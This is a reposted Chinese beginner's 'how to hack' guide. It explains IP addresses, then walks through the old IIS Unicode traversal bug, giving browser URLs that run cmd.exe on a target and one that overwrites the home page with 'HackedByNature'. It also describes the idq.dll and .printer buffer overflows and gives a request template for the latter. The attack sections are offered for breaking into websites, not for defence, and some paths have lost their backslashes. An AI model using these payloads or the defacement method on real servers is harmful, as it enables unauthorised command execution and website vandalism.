/ 有闲人的口袋
>> 電腦
2008-04-23 07:13:35
转自
火警119 | 被242人转藏
从零开始学黑客:网络黑客新手入门指南
(一)系统基本知识
1.a.什么是IP:要是真的想说清楚什么是IP,那是一项很繁重的工作。简单的来说IP就是所有Internet或是局域网上的主机的身份证。
所有网络的机器连接起来后,每台机器都会有一个唯一的合法的IP地址,一台机器和别的指定的机器通讯都要依据IP来实现的。IP地址的写法为XXX.XXX.XXX.XXX。有四段数字组成,第一段数字可为1-255,后三段数字可为0-255,且所有的IP地址分为A、B、C、D、E五类,主要是A、B、C三类。其有效范围如下表所示:
类别网络号主机号
A1~1260~2550~2551~254
B128~1910~2550~2551~254
C192~2230~2550~2551~254
有关IP地址的问题可以查阅相关的资料,笔者在此就不再多耗笔墨了。呵呵~~~~~~~~~~~~~:p
1.b.怎样得到自己和别人的IP呢?以Windows98为例:在“开始”—“运行”里输入:winipcfg。接着,Windows就会打开“IP配置”。其中,在“Ethernet适配器信息”—“IP地址”会显示xxx.xxx.xxx.xxx,这就是你的IP。要想得到别人的IP,可以使用一些工具软件,不过最简单的使用Windows自带的一个小程序ping.exe。在MS-DOS命令行下输入pingwww.xxx.com。会出现:
C:>pingwww.xxx.com
Pingingwww.xxx.com[xxx.xxx.xxx.xxx]with32bytesofdata:
Replyfromxxx.xxx.xxx.xxx:bytes=32time=630msTTL=116
Replyfromxxx.xxx.xxx.xxx:bytes=32time=630msTTL=116
Replyfromxxx.xxx.xxx.xxx:bytes=32time=120msTTL=116
Pingstatisticsforxxx.xxx.xxx.xxx:
Packets:Sent=4,Received=4,Lost=0(0%loss),
Approximateroundtriptimesinmilli-seconds:
Minimum=120ms,Maximum=630ms,Average=187ms
其中:xxx.xxx.xxx.xxx就是http://www.xxx.com的网络服务器的IP地址。
2.a.Unicode漏洞:“Unicode漏洞”是微软IIS的一个重大漏洞。2001年最热门漏洞之一。下面我们来简要介绍一下它的原理。
IIS4.0和IIS5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含Unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。(WinNT4编码为:%c1%9c,Win2000英文版编码为:%c0%af)
假设目标主机为英文版Winodows2k,IP为xxx.xxx.xxx.xxx,且存在Unicode漏洞,那么我们在浏览器里输入:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir,之后浏览器就会显示如下内容:
DirectoryofC:inetpubscripts
2002-02-0815:49〈DIR〉.
2002-02-0815:49〈DIR〉..
2002-02-0810:20Index.html
2002-02-0810:20background.jpg
........................................
从上面的测试可以看出:"http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+"后就是DOS命令了:"dir"
以此类推,我们可以利用浏览器远程执行任意命令,看下面的例子:
在浏览器里输入http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+md+d:Nature,运行后我们可以看到返回这样的结果:
CGIError
ThespecifiedCGIapplicationmisbehavedbynotreturningacomplete
setofHTTPheaders.Theheadersitdidreturnare:
英文意思是:
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:
但是,你其实仍然在目标主机的D:里建立了一个名为:Nature的文件夹。
2.b.利用Unicode漏洞我们还可以简单的修改目标主机的WEB文件。一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具“>”“>>”。如果你对这些命令不熟悉,可以键入以下命令以查看帮助文档,如:
C:>echo/?
显示信息,或将命令响应打开或关上。
ECHO[ON|OFF]
ECHO[message]
仅键入ECHO而不加参数,可以显示当前的ECHO设置。
管道工具“>”“>>”的不同之处
“>”“>>”是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中。
“>>”将产生的内容追加进文件中,“>”则将原文件内容覆盖。
IIS加载程序检测到有cmd.exe或者command.com串就要检测特殊字符“&|(,;%”。如果发现有这些字符就会返回500错误,所以不能直接使用cmd.exe加管道符等。如果我们输入:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+内容+>d:cnhack.bat
我们可以看到提示:
HTTP500-内部服务器错误
InternetExplorer
所以我们如果要echo和>的结合使用,就应该这样输入:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd".exe?/c+echo+HackedByNature+>c:inetpubwwwrootindex.html(注意:这两个命令的区别是,后一个比前一个在cmd后多了一个"符号),完成后看它的主页已经被修改成了:HackedByNature了。其实只要我们弄懂这个漏洞的使用,仅仅使用IE,我们就可以“黑”掉一个网站咯!就这么简单!
3.idq.dll缓冲区溢出漏洞。作为安装过程的一部分,IIS安装了几个ISAPI扩展.dlls。其中的idq.dll存在问题,它是IndexServer的一个组件,对管理员脚本(.ida文件)和Internet数据查询(.idq文件)提供支持。但是,idq.dll在处理一段URL输入的代码中存在一个未经检查的缓冲区。攻击者利用此漏洞能导致受影响服务器产生缓冲区溢出,从而执行自己提供的代码。而更为严重的是,idq.dll是以SYSTEM身份运行的,攻击者成功利用此漏洞后能取得系统管理员权限。(SYSTEM权限相当于超级管理员权限,很值得注意!)Windows2k和NT都受到了不同程度的影响。
4.IIS.printer漏洞(应用程序映射缓冲溢出):这也是近期比较流行的漏洞,国内国外仍有N台机器存在此漏洞。
微软Windows2000IIS5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:"域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。默认情况下,IIS5.0服务器存在一个后缀为"printer"的应用程序映射,这个映射使用位于WINNTSystem32下的名为msw3prt.dll的动态库文件。这个功能是用于基于Web控制的网络打印的,是Windows2000为InternetPrintingProtocol(IPP)协议而设置的应用程序功能。不幸的是,这个映射存在一个缓冲区溢出错误,可以导致inetinfo.exe出错,允许黑客通过web获取服务器的管理权限,黑客制造一个.printer的ISAPI请求,当Httphost参数的值达到420个字符时,就会发生缓冲区溢出:
GET/NULL.printerHTTP/1.0
Host:[buffer]